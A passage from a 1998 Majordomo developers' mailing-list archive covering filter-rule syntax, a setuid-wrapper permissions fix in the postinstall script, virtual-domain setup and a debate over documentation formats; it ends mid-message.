(from les@localhost) by Mars.mcs.net (8.8.7/8.8.2) id UAA03642; Fri, 2 Oct 1998 20:59:45 -0500 (CDT) From: Leslie Mikesell Message-Id: <199810030159.UAA03642@Mars.mcs.net> Subject: Re: Regexp wizard To: tibbs@hpc.uh.edu (Jason L Tibbitts III) Date: Fri, 2 Oct 1998 20:59:45 -0500 (CDT) Cc: rogerk@QueerNet.ORG, majordomo-workers@GreatCircle.COM In-Reply-To: from "Jason L Tibbitts III" at Oct 2, 98 10:21:05 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk According to Jason L Tibbitts III: > > To see why this doesn't really map onto regexps well, try translating > something as simple as "contains abcdef and contains ghijk". Order matters > to regexps, so you need the awkward /(abcdef.*ghijk)|(ghijk.*abcdef)/. The > complexity increases exponentially from there. But perl has any number of perfectly fine looping and control operators. Why try to shoehorn it into a single regexp? How about just building whatever size chunk of perl code you need, perhaps knowing that you have the header lines already in an array, and then eval() the code for your result? Les Mikesell les@mcs.com From majordomo-workers-owner Fri Oct 2 22:13:50 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id WAA09851; Fri, 2 Oct 1998 22:08:59 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA09844 for ; Fri, 2 Oct 1998 22:08:45 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id BAA17954; Sat, 3 Oct 1998 01:25:09 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id BAA17949; Sat, 3 Oct 1998 01:25:08 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Sat, 3 Oct 1998 01:25:07 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Latest cvs: make install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk /usr/local/bin/perl -w postinstall Setting permissions:............................ok Can't copy /usr/local/majordomo/bin/mj_confirm to /var/www/scripts/mj_confirm, Permission denied. at postinstall line 180. humm: cp /usr/local/majordomo/bin/mj_confirm /var/www/scripts/ cp: cannot open /usr/local/majordomo/bin/mj_confirm: Permission denied atlantis /:/project/glue/majordomo/mj2/majordomo; ls -l /usr/local/majordomo/bin/mj_confirm ---s--s--x 1 majordom majordom 5564 Oct 3 01:10 /usr/local/majordomo/bin/mj_confirm atlantis /:/project/glue/majordomo/mj2/majordomo; chmod u+r /usr/local/majordomo/bin/mj_confirm atlantis /:/project/glue/majordomo/mj2/majordomo; cp /usr/local/majordomo/bin/mj_confirm /var/www/scripts/ atlantis /:/project/glue/majordomo/mj2/majordomo; ls -l /usr/local/majordomo/bin/mj_confirm -r-s--s--x 1 majordom majordom 5564 Oct 3 01:10 /usr/local/majordomo/bin/mj_confirm FYI, Randall From majordomo-workers-owner Fri Oct 2 22:58:44 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id WAA10384; Fri, 2 Oct 1998 22:47:12 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id WAA10376 for ; Fri, 2 Oct 1998 22:47:04 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id CAA18300; Sat, 3 Oct 1998 02:03:36 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id CAA18295; Sat, 3 Oct 1998 02:03:35 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Sat, 3 Oct 1998 02:03:34 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Latest cvs: make install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Sat, 3 Oct 1998, Randall S. Winchester wrote: : : /usr/local/bin/perl -w postinstall : Setting permissions:............................ok : Can't copy /usr/local/majordomo/bin/mj_confirm to : /var/www/scripts/mj_confirm, Permission denied. at postinstall line 180. : : humm: : cp /usr/local/majordomo/bin/mj_confirm /var/www/scripts/ : cp: cannot open /usr/local/majordomo/bin/mj_confirm: Permission denied : atlantis /:/project/glue/majordomo/mj2/majordomo; ls -l /usr/local/majordomo/bin/mj_confirm : ---s--s--x 1 majordom majordom 5564 Oct 3 01:10 /usr/local/majordomo/bin/mj_confirm : : atlantis /:/project/glue/majordomo/mj2/majordomo; chmod u+r /usr/local/majordomo/bin/mj_confirm : atlantis /:/project/glue/majordomo/mj2/majordomo; cp /usr/local/majordomo/bin/mj_confirm /var/www/scripts/ : atlantis /:/project/glue/majordomo/mj2/majordomo; ls -l /usr/local/majordomo/bin/mj_confirm : -r-s--s--x 1 majordom majordom 5564 Oct 3 01:10 /usr/local/majordomo/bin/mj_confirm The following worked for me. diff -u -r1.1 postinstall --- postinstall 1998/10/03 05:27:24 1.1 +++ postinstall 1998/10/03 05:37:07 @@ -209,7 +209,7 @@ # Make executables setuid; the scripts must be readable while the the # wrappers need only be executable. if ($config->{'wrappers'}) { - chmod(06111, @$sidscripts) || die "Couldn't change mode: $!"; + chmod(06511, @$sidscripts) || die "Couldn't change mode: $!"; } else { chmod(06555, @$sidscripts) || die "Couldn't change mode: $!"; From majordomo-workers-owner Sat Oct 3 07:43:10 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id HAA17931; Sat, 3 Oct 1998 07:41:45 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id HAA17924 for ; Sat, 3 Oct 1998 07:41:37 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id JAA17003; Sat, 3 Oct 1998 09:58:16 -0500 (CDT) To: Leslie Mikesell Cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard References: <199810030159.UAA03642@Mars.mcs.net> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Oct 1998 09:58:15 -0500 In-Reply-To: Leslie Mikesell's message of "Fri, 2 Oct 1998 20:59:45 -0500 (CDT)" Message-ID: Lines: 16 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "LM" == Leslie Mikesell writes: LM> But perl has any number of perfectly fine looping and control LM> operators. Why try to shoehorn it into a single regexp? Because that was the explicit case we were originally talking about. We're trying to replace regexps generally. Anywhere a regexp appears, a simplified regexp should be able to appear. LM> How about just building whatever size chunk of perl code you need, LM> perhaps knowing that you have the header lines already in an array, and LM> then eval() the code for your result? Because we're matching a lot more than headers here. - J< From majordomo-workers-owner Sat Oct 3 08:13:15 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA18259; Sat, 3 Oct 1998 08:08:29 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA18252 for ; Sat, 3 Oct 1998 08:08:19 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA17363; Sat, 3 Oct 1998 10:24:56 -0500 (CDT) To: majordomo-workers@greatcircle.com, Russ Allbery Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Oct 1998 10:24:56 -0500 In-Reply-To: Russ Allbery's message of "02 Oct 1998 16:44:32 -0700" Message-ID: Lines: 11 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RA" == Russ Allbery writes: RA> FWIW, integrating mail to news and news to mail with MJ2 is still on my RA> todo list as something I'd like to do with News::Gateway, although RA> there are a series of issues that will have to be resolved before that RA> can happen. Could you fill us in on those issues (or at least the basics)? I'm happy to do what's required to make this work. - J< From majordomo-workers-owner Sat Oct 3 08:28:12 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA18171; Sat, 3 Oct 1998 08:07:19 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA18164 for ; Sat, 3 Oct 1998 08:07:11 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA17357; Sat, 3 Oct 1998 10:23:46 -0500 (CDT) To: majordomo-workers@greatcircle.com, "Randall S. Winchester" Subject: Re: Latest cvs: make install problem References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Oct 1998 10:23:46 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Sat, 3 Oct 1998 01:25:07 -0400 (EDT)" Message-ID: Lines: 33 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> Can't copy /usr/local/majordomo/bin/mj_confirm to RSW> /var/www/scripts/mj_confirm, Permission denied. at postinstall line RSW> 180. That's odd; what OS is this? postinstall should be running as root. Hmmmmmm. On Linux: [tibbs@morpheus tibbs]$ echo "hurl" > blah [tibbs@morpheus tibbs]$ chmod 111 blah [tibbs@morpheus tibbs]$ cat blah cat: blah: Permission denied [tibbs@morpheus tibbs]$ sudo cat blah Password: hurl On Solaris: XYX:farabi:~> echo "hurl" > blah XYX:farabi:~> chmod 111 blah XYX:farabi:~> cat blah cat: cannot open blah XYX:farabi:~> s cat blah Password: cat: cannot open blah How odd. Adding read for owner shouldn't hurt anything. (The 111 mode was just the principle of least permission; it's not as if the owner of the file couldn't chmod it anyway so 511 is no less secure.) - J< From majordomo-workers-owner Sat Oct 3 08:59:10 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA18640; Sat, 3 Oct 1998 08:49:33 -0700 (PDT) Received: from smtp.thegrid.net (smtp.thegrid.net [209.162.1.11]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id IAA18633 for ; Sat, 3 Oct 1998 08:49:27 -0700 (PDT) Received: (qmail 2265 invoked from network); 3 Oct 1998 16:06:04 -0000 Received: from pop.thegrid.net (209.162.1.5) by smtp.thegrid.net with SMTP; 3 Oct 1998 16:06:04 -0000 Received: from bytewaresys.com (lax-ras5-14-238.thegrid.net [209.162.14.238]) by pop.thegrid.net (8.9.1a/8.9.1) with SMTP id JAA07939 for ; Sat, 3 Oct 1998 09:06:03 -0700 (PDT) Received: from titanic by bytewaresys.com ; 03 Oct 98 11:36:49 UT From: "Tim Treaster" To: "MJ2 list" Subject: Install Prob. Majordomo-0.1199809201 Date: Sat, 3 Oct 1998 04:36:49 -0700 Message-ID: <000a01bdeec2$1be37700$0100007f@titanic> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I having a bit of trouble installing MJ2 on a virtual host. Everything goes great until I get to postinstall. Have any ideas? Output of postinstall: Setting permissions:...............................ok Making directories:.......................ok. Installing stock response files:................................................ .................................................ok....................................................ok. Cnfiguring site-wide parameters:.....ok. Configuring bwsweb.net:.ok. Configuring elmorro.org:.ok. Configuring nickshumor.net:.ok. Configuring nazarenechurch.net:.ok. Configuring bytewaresys.com:.ok. Configuring carlocksbakery.net:.ok. Some basic configuration information: Error executing /usr/local/majordomo2/bin/mj_shell, 65280 at postinstall line 42 1. What additional information would help in an answer? Tim Treaster From majordomo-workers-owner Sat Oct 3 10:58:08 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id KAA20208; Sat, 3 Oct 1998 10:57:13 -0700 (PDT) Received: from gsp.org (rsk.itw.com [208.211.3.21]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id KAA20201 for ; Sat, 3 Oct 1998 10:56:54 -0700 (PDT) Received: (from rsk@localhost) by gsp.org (8.9.1/8.9.1) id OAA23064; Sat, 3 Oct 1998 14:14:00 -0400 (EDT) Message-ID: <19981003141353.A23037@gsp.org> Date: Sat, 3 Oct 1998 14:13:53 -0400 From: Rich Kulawiec To: majordomo-workers@GreatCircle.COM Cc: tibbs@hpc.uh.edu Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from Jason L Tibbitts III on Thu, Oct 01, 1998 at 09:35:54PM -0500 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Thu, Oct 01, 1998 at 09:35:54PM -0500, Jason L Tibbitts III wrote: > I do wonder why they didn't even bother to let Majordomo folks know that > they were working and what their plans were, but that's neither here nor > there. The GNU project has become, to a certain extent, mired in its own idiosyncracies and somewhat uncooperative with external efforts. It *would* have made far more sense for them to start with a well-established, proven base (majordomo 1) and build on that, or at least, borrow all the good ideas from it, but as is typical of many of their projects, they went their own way. Unfortunately, this means that significant effort will be replicated instead of combined, which is bad for everyone. But I'm not surprised: they're still sticking with "info" format documentation, even though it's quite clear that HTML would be a much better choice. And they're still working on Hurd (only 15 years late, and yes, I have the original announcement to prove it) even though Linux has supplanted it. Yes, I like their work. Yes, I use much of it. But it seems to me that they have a massive case of NIH. ---Rsk Rich Kulawiec rsk@gsp.org From majordomo-workers-owner Sat Oct 3 11:28:52 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id LAA20584; Sat, 3 Oct 1998 11:19:39 -0700 (PDT) Received: from neviim.torah.org (neviim.torah.org [207.239.101.202]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id LAA20577 for ; Sat, 3 Oct 1998 11:19:33 -0700 (PDT) Received: from localhost (brozen@localhost) by neviim.torah.org (8.8.8/8.8.8) with ESMTP id OAA28900; Sat, 3 Oct 1998 14:36:03 -0400 Date: Sat, 3 Oct 1998 21:36:03 +0300 (IDT) From: Brock Rozen Reply-To: Brock Rozen To: "William R. Dickson -- System Administration" cc: majordomo-workers@GreatCircle.COM Subject: Re: List size limit in MJ1.9.x In-Reply-To: Message-ID: X-Backup: Disable X-URL: http://www.torah.org/~brozen MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk We have a list with over 20000 users that is sent on a once-a-week basis. With sendmail and tlb, it completes deliver in under an hour or so. Using the system while it's doing that is fine, except maybe for bandwidth, but we have a T1. BR On Thu, 1 Oct 1998, William R. Dickson -- System Administration wrote: > Hi all, > > First, I want to say that this _isn't_ my idea, and I'm not too keen on it, > but orders have come down from management and I want to give them the best > argument I can. I'm already investigating to see if I can stop this > through the application of Washington State anti-spam laws. > > Is there a practical upper limit on the size of a mailing list in MJ1? > Basically, a customer wants to send out one message a month to about 10,000 > subscribers. I'm running MJ1 on a reasonably fast server (an Alpha). > What's a mailing like this likely to do to me? > > Thanks, > > -bill > > -- > William R. Dickson - System Administration wdickson@nwnexus.com > Northwest Nexus - Professional Internet Services Bellevue, WA USA > Voice: 425 455-3505 Web: http://www.nwnexus.com/ Info: info@nwnexus.com > > -- ---------------------------------- | Brock Rozen | brozen@torah.org | ---------------------------------- From majordomo-workers-owner Sat Oct 3 11:43:17 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id LAA20635; Sat, 3 Oct 1998 11:23:16 -0700 (PDT) Received: from neviim.torah.org (neviim.torah.org [207.239.101.202]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id LAA20628 for ; Sat, 3 Oct 1998 11:23:10 -0700 (PDT) Received: from localhost (brozen@localhost) by neviim.torah.org (8.8.8/8.8.8) with ESMTP id OAA28941; Sat, 3 Oct 1998 14:39:47 -0400 Date: Sat, 3 Oct 1998 21:39:47 +0300 (IDT) From: Brock Rozen Reply-To: Brock Rozen To: "William R. Dickson -- System Administration" cc: majordomo-workers@GreatCircle.COM Subject: Re: Virtual domains In-Reply-To: Message-ID: X-Backup: Disable X-URL: http://www.torah.org/~brozen MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk This is how we do it for many many domains on our system. What's wrong with it? It provides full seperation and accomplishes it's purpose perfectly. Our clients have not complained. ;-) BR On Fri, 2 Oct 1998, William R. Dickson -- System Administration wrote: > Hi all, > > Could anybody give me a brief explanation (or point me to information) of > how virtual domains work in mj2? > > Say I want two majordomo addresses: majordomo@domain1.com and > majordomo@domain2.com. Both are to be hosted on the same server, which is > named majordomo.domain.net. The only way I can think of to accomplish this > is to set up a virtual mail table (virtual mail is already set up on the > system in question): > > majordomo@domain1.com mj-domain1@majordomo.domain.net > majordomo@domain2.com mj-domain2@majordomo.domain.net > > > And then set up the majordomo aliases as follows: > > mj-domain1: "|/usr/local/libexec/majordomo/bin/mj_email -m -d > domain1.com" > > mj-domain2: "|/usr/local/libexec/majordomo/bin/mj_email -m -d > domain2.com" > > > > Is there a better way? > > Thanks, > > -Bill > > -- > William R. Dickson - System Administration wdickson@nwnexus.com > Northwest Nexus - Professional Internet Services Bellevue, WA USA > Voice: 425 455-3505 Web: http://www.nwnexus.com/ Info: info@nwnexus.com > > -- ---------------------------------- | Brock Rozen | brozen@torah.org | ---------------------------------- From majordomo-workers-owner Sat Oct 3 13:17:59 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA21744; Sat, 3 Oct 1998 13:07:04 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id NAA21736 for ; Sat, 3 Oct 1998 13:06:48 -0700 (PDT) Received: (qmail 20823 invoked by uid 50); 3 Oct 1998 20:23:10 -0000 To: majordomo-workers@GreatCircle.COM Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> From: Russ Allbery In-Reply-To: Jason L Tibbitts III's message of "03 Oct 1998 10:24:56 -0500" Date: 03 Oct 1998 13:23:10 -0700 Message-ID: Lines: 24 X-Mailer: Gnus v5.4.66/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason L Tibbitts writes: >>>>>> "RA" == Russ Allbery writes: > RA> FWIW, integrating mail to news and news to mail with MJ2 is still on > RA> my todo list as something I'd like to do with News::Gateway, > RA> although there are a series of issues that will have to be resolved > RA> before that can happen. > Could you fill us in on those issues (or at least the basics)? I'm > happy to do what's required to make this work. The primary issue is that I'm using News::Article as my underlying article representation, for a variety of reasons, which makes it hard to transfer articles back and forth easily. The secondary issue is that I just haven't had time to think about this whole thing in a while and have a lot of pending work I badly want to get done. I think the Right Way To Do This is probably going to be to write a simple conversion routine between the underlying representation model that you're using and the one that News::Gateway expects, and then most things should start working. -- Russ Allbery (rra@stanford.edu) From majordomo-workers-owner Sat Oct 3 13:29:24 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA21923; Sat, 3 Oct 1998 13:26:04 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id NAA21916 for ; Sat, 3 Oct 1998 13:25:58 -0700 (PDT) Received: (qmail 20861 invoked by uid 50); 3 Oct 1998 20:42:33 -0000 To: majordomo-workers@GreatCircle.COM Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> <19981003141353.A23037@gsp.org> From: Russ Allbery In-Reply-To: Rich Kulawiec's message of "Sat, 3 Oct 1998 14:13:53 -0400" Date: 03 Oct 1998 13:42:33 -0700 Message-ID: Lines: 28 X-Mailer: Gnus v5.4.66/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Rich Kulawiec writes: > But I'm not surprised: they're still sticking with "info" format > documentation, even though it's quite clear that HTML would be a much > better choice. Urk. No, no, no, no. Please no. HTML is so massively *not* a good language in which to *write* documentation. As an end product, sure, I have no problems, but it requires *far* too much markup and too much nit-picky detail about things and doesn't cleanly allow logical markup for anyone to actually want to *write* in it. There's absolutely nothing at all wrong with texinfo. You may not like the *info pages* output of it, but texinfo is equally capable of generating HTML or TeX (and through TeX, higher quality printed output than you will *ever* get from HTML) if you prefer. Please let's not go back to the age of *roff and have to write documentation in a formatting language, which whether any of us like it or not (and I was a major HTML purist) is what HTML is becoming. texinfo is a decent solution, but if not texinfo, let's at least go with an SGML DTD that is decently high-level. Linuxdoc isn't at all bad. For Mj2 in particular I'd honestly tend to recommend POD, as closely as Mj2 is tied to Perl. -- Russ Allbery (rra@stanford.edu) From majordomo-workers-owner Sat Oct 3 13:45:25 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA22022; Sat, 3 Oct 1998 13:38:36 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA22015 for ; Sat, 3 Oct 1998 13:38:30 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.9.0/8.9.0) with ESMTP id NAA22833 Date: Sat, 3 Oct 1998 13:55:07 -0700 (PDT) From: "Roger B.A. Klorese" To: Russ Allbery cc: majordomo-workers@GreatCircle.COM Subject: Re: MailMan In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 3 Oct 1998, Russ Allbery wrote: > Urk. No, no, no, no. Please no. HTML is so massively *not* a good > language in which to *write* documentation. As an end product, sure, I > have no problems, but it requires *far* too much markup and too much > nit-picky detail about things and doesn't cleanly allow logical markup for > anyone to actually want to *write* in it. Why would you write in any markup language at all, instead of a writing tool? It's information, not software; why program it? -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Sat Oct 3 13:59:25 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA21800; Sat, 3 Oct 1998 13:13:44 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA21793 for ; Sat, 3 Oct 1998 13:13:32 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA20716; Sat, 3 Oct 1998 15:30:06 -0500 (CDT) To: majordomo-workers@greatcircle.com, "Tim Treaster" Subject: Re: Install Prob. Majordomo-0.1199809201 References: <000a01bdeec2$1be37700$0100007f@titanic> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Oct 1998 15:30:05 -0500 In-Reply-To: "Tim Treaster"'s message of "Sat, 3 Oct 1998 04:36:49 -0700" Message-ID: Lines: 32 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "TT" == Tim Treaster writes: TT> I having a bit of trouble installing MJ2 on a virtual host. Everything TT> goes great until I get to postinstall. Have any ideas? Something looks seriously wrong here. Try turning on some additional verbosity: make install VERBOSE=1 Also remember to CC: bug reports to me. Also be aware that there are a couple of bugs in that snapshot that will make it a bit difficult to configure virtual domains that have master_passwords different from the site password. You may want to try getting the current version from CVS or waiting a bit until I cut a new snapshot. TT> Configuring bwsweb.net:.ok. There should be five or six periods between the colon and the 'ok'. It is not configuring the lists, and the snapshot version doesn't report errors back to you. The CVS version does. TT> Some basic configuration information: Error executing TT> /usr/local/majordomo2/bin/mj_shell, 65280 at postinstall line 42 1. My only other guess (modulo other possible bugs) is that you haven't configured things to use the wrappers on a platform that needs it. Try running mj_shell by itself; perl may give you a nasty message in this case. - J< From majordomo-workers-owner Sat Oct 3 14:14:31 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA22141; Sat, 3 Oct 1998 13:50:25 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id NAA22134 for ; Sat, 3 Oct 1998 13:50:18 -0700 (PDT) Received: (qmail 20949 invoked by uid 50); 3 Oct 1998 21:06:51 -0000 To: majordomo-workers@GreatCircle.COM Subject: Re: MailMan References: From: Russ Allbery In-Reply-To: "Roger B.A. Klorese"'s message of "Sat, 3 Oct 1998 13:55:07 -0700 (PDT)" Date: 03 Oct 1998 14:06:51 -0700 Message-ID: Lines: 31 X-Mailer: Gnus v5.4.66/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Roger B A Klorese writes: > On 3 Oct 1998, Russ Allbery wrote: >> Urk. No, no, no, no. Please no. HTML is so massively *not* a good >> language in which to *write* documentation. As an end product, sure, I >> have no problems, but it requires *far* too much markup and too much >> nit-picky detail about things and doesn't cleanly allow logical markup >> for anyone to actually want to *write* in it. > Why would you write in any markup language at all, instead of a writing > tool? It's information, not software; why program it? What does using a writing tool buy me? The goal is to generate a document with logical markup that allows it to then be turned into whatever output format is convenient at the time (HTML for web presentation, PostScript for nice printed output, PDF for nice portable printable output, possibly *roff for man pages, and plain text for quick reading). To do that, I have to convey metainformation about the document into some tool, since I as the author am the only person who is going to know what's a heading and what's a subheading and so forth. Once you've reached that point, the issue of whether you mark a subheading by typing some control key or by typing is just a question of user interface. My objection to HTML isn't primarily on the grounds of how easy it is to write, but on the grounds that it's too "low-level" to usefully generate other output formats. -- Russ Allbery (rra@stanford.edu) From majordomo-workers-owner Sat Oct 3 15:28:28 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA23347; Sat, 3 Oct 1998 15:18:26 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id PAA23326 for majordomo-workers@greatcircle.com; Sat, 3 Oct 1998 15:18:17 -0700 (PDT) Received: from sparc.SanDiegoCA.NCR.COM (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA01715 for ; Fri, 2 Oct 1998 13:01:24 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.SanDiegoCA.NCR.COM (8.8.8/8.8.5) with ESMTP id NAA28016; Fri, 2 Oct 1998 13:17:24 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id NAA09395; Fri, 2 Oct 1998 13:17:23 -0700 (PDT) Message-Id: <199810022017.NAA09395@ssol020.sandiegoca.ncr.com> Subject: Re: Regexp wizard To: tibbs@hpc.uh.edu (Jason L Tibbitts III) Date: Fri, 2 Oct 1998 13:17:23 -0700 (PDT) Cc: rogerk@QueerNet.ORG, majordomo-workers@GreatCircle.COM In-Reply-To: from "Jason L Tibbitts III" at Oct 2, 98 08:19:40 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason L Tibbitts III said: > > Subject: starts with blah unless From: ends with aol.com > which can't be done line by line. Correct. But wait, let's take a step back. The whole reason this started was because we began with an assumption: Perl regexps are different from 'normal' regexps, and it would be nice if we could support the regexp syntax which maybe 70% of the nerd population is already familiar with. This evolved into: regexp syntax is something only nerds know. Let's support a more friendly format that anyone can grasp, nerd or not. Eudora has an interesting method using English approximations. Now suddenly it has become: but Eudora can span headers and do logical grouping, which unfortunately does not map well to the regexp syntax and line-by-line nature of the processing. I think we must remember that the goal has always been to make the Perl regexp arrays within Mj easier for the novice. "Easier" does not mean *identical* to Eudora behavior. And the "easier" language does not have to be as flexible or complete as the raw regexps. (If you want to get fancy, learn proper regexps!) I am perfectly happy with a single-clause english language simplification to substitute for a single atomic regexp out of an array. I can forego the and'ing and or'ing of clauses. Even if not 100% Eudora-like, I still think that: | contains foo | /foo/ | does not contain foo | !/foo/ | starts with foo | 